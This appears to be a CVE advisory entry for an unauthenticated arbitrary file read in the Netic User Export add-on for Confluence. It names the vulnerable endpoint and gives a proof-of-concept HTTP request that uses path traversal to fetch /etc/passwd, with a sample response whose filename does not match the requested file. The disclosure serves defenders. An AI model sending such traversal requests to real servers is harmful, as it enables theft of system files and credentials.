Headline

CVE-2022-42978: Unauthenticated Arbitrary File Read

In the Netic User Export add-on before 1.3.5 for Atlassian Confluence, authorization is mishandled. An unauthenticated attacker could access files on the remote system.

2 years ago

CVE

Open in Source

#vulnerability #web #windows #apple #linux #js #oauth #auth #ssh #chrome #webkit

Vulnerability Type: Unauthenticated Arbitrary File Read

Vendor of Product: Atlassian Confluence

Affected Product Code Base: User Export for Confluence

Product Version: < 1.3.5

Description: The Netic User Export add-on before 1.3.5 for Atlassian Confluence has the functionality to generate a list of users in the application, and export it. During export, the HTTP request has a fileName parameter that accepts any file on the system (e.g., an SSH private key) to be downloaded.

Attack Vectors: Attacker could make an HTTP request to the affected endpoint and download any file from the system.

Attack Type: Remote

Endpoint: /plugins/servlet/confluenceuserexport/admin/download

Assigned CVE-ID: CVE-2022-42977, CVE-2022-42978

Steps To Reproduce

1. Issue a HTTP POST/GET request to the following endpoint: https://<confluence.example.com>/plugins/servlet/confluenceuserexport/admin/download?fileName=[file-path]

#PoC

[REQUEST]

GET /plugins/servlet/confluenceuserexport/admin/download?fileName=…/…/…/…/…/…/etc/passwd HTTP/1.1

Host: confluence.example.local

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.54 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

[RESPONSE]

HTTP/1.1 401

Set-Cookie: JSESSIONID=ABCDEFGHIJKLMNOPQRSTUVWYZ; Path=/; HttpOnly

WWW-Authenticate: OAuth realm="confluence.example.local"

Content-Disposition: attachment; filename=…/…/…/…/…/etc/os-release

Content-Type: text/html;charset=UTF-8